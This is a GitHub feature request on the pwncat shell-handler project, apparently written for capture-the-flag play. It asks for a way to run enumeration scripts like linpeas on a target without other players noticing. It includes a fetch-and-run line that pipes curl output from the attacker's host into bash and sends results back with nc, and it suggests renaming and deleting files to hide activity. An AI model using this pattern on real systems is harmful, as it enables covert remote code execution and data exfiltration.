calebstewart / pwncat

Fancy reverse and bind shell handler
https://pwncat.readthedocs.io
MIT License
2.58k stars 250 forks source link

Run scripts without letting others on the machine easily see it #236

Open ChocolateOverflow opened 2 years ago

ChocolateOverflow commented 2 years ago

Is the feature related to a problem? Please describe.

I want to be able to run some scripts, mainly enumeration scripts, on the target while making it hard for other players on the same machine to see me running them.

Feature Description

Let's say the command is run_script. The script to be run can be in the current directory or a location set in the config file. For example, running run_script linpeas.sh should run linpeas on the machine. However, just uploading the file with no obfuscation would make it easy for others to spot and even use your uploaded scripts for themselves. Instead of plain upload-run-delete, it should do 1 of 2 things: (1) curl LHOST:LPORT/linpeas.sh | bash | save_output (save_output can be nc LHOST LPORT and/or saving the output to pwncat's database meaning just pipe without leaving any file on the victim machine, or (2) upload the script while changing its name then run & deleting it right after completion and maybe also save & delete the output file after completion.

Alternatives

Manually run a few commands, but I'd prefer to preconfigure the scripts and automate.